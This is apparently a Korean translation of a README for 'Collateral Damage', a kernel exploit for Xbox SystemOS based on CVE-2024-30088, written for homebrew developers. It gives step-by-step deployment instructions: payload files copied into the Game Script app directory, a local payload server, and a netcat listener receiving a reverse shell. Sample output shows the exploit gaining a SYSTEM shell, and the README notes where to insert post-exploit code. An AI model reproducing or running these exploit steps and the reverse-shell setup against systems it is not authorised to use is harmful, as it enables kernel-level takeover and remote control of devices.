
CVE-2024-30088을 이용한 Xbox SystemOS 커널 익스플로잇
Collateral Damage는 CVE-2024-30088를 사용한 Xbox SystemOS용 커널 익스플로잇입니다. Xbox One 및 Xbox Series 콘솔에서 커널 버전 25398.4478, 25398.4908, 25398.4909를 대상으로 합니다. 초기 진입점은 Game Script UWP 애플리케이션을 통해 이루어집니다.
첫 번째 단계 페이로드, PE 로더 및 네트워크 로더는 Solstice에서 제공합니다.
이 익스플로잇은 Emma Kirkpatrick(취약점 발견 및 익스플로잇)과 Lander Brandt(Solstice)가 개발했습니다.
Xbox 콘솔에 페이로드를 로컬로 배치하려면 Adv File Explorer (FullTrust)와 같은 전체 신뢰 탐색기를 권장합니다. 또는 USB 키보드 시뮬레이터(러버 덕키 등)를 통해 초기 페이로드를 제공하고, 이후 페이로드 단계를 네트워크를 통해 로드할 수 있습니다.
여기 제공된 리버스 셸 예제는 콘솔이 네트워크에 연결되어 있어야 합니다. 콘솔을 네트워크에 연결할 때 인터넷 연결 및 업데이트를 방지하도록 매우 주의하십시오. 최소한 DNS를 유효하지 않은 서버로 설정하여 Xbox LIVE 연결을 최대한 차단하십시오.
이 익스플로잇은 완전히 신뢰할 수 없습니다. CPU 사이드 채널과 경쟁 조건에 의존하며, 둘 다 실패할 가능성이 있습니다. 실패할 경우 익스플로잇이 네트워크 출력을 통해 실패를 알리거나 콘솔 자체가 충돌하여 재부팅될 수 있습니다.
gamescript_autosave_network.txt 또는 gamescript_autosave.txt의 7번째 줄을 수정하여 PC의 로컬 IP를 포함시킵니다.
gamescript_autosave.txt, stage2.bin, run.exe를 콘솔의 Game Script 애플리케이션 LocalState 디렉토리(Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\)에 복사합니다.gamescript_autosave_network.txt의 내용을 GameScript 창에 입력합니다. payload_server_win_x64.exe --stage2 stage2.bin --run run.exe를 통해 stage2.bin과 run.exe를 제공합니다.nc64.exe -lvnp 7070)listening on [any] 7070 ...
connect to [192.168.0.61] from (UNKNOWN) [192.168.0.130] 49665
Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale)
Build number: 25398.4478
Attempting to find kernel base...
Found likely kernel base: FFFFF80AF9800000
Attempting exploit...
Exploit succeeded! Running payload!
Microsoft Windows [Version 10.0.25398.4478]
Copyright (c) Microsoft Corporation. All rights reserved.
S:\>
이것을 Xbox에 홈브류를 로드하기 위한 사용자 친화적인 도구로 만드는 데 많은 추가 작업이 필요하지만, 좋은 출발점이 되길 바랍니다 :) SYSTEM 권한으로 코드를 실행해보고 싶다면 post_exploit.c의 post_exploit 함수에 코드를 넣으면 됩니다.
이에 대해 할 일이 많지만, 커널 부분이 완료되었으므로 개발자들이 SYSTEM 권한으로 작업을 시작할 수 있도록 커뮤니티와 공유하고 싶었습니다. 앞으로 추가하고 싶은 몇 가지 사항은 다음과 같습니다:
브레인스토밍을 도와주고 지식과 시간을 나눠준 모든 분들께 감사드립니다!!! 특히 다음 분들께 감사 인사를 전하고 싶습니다: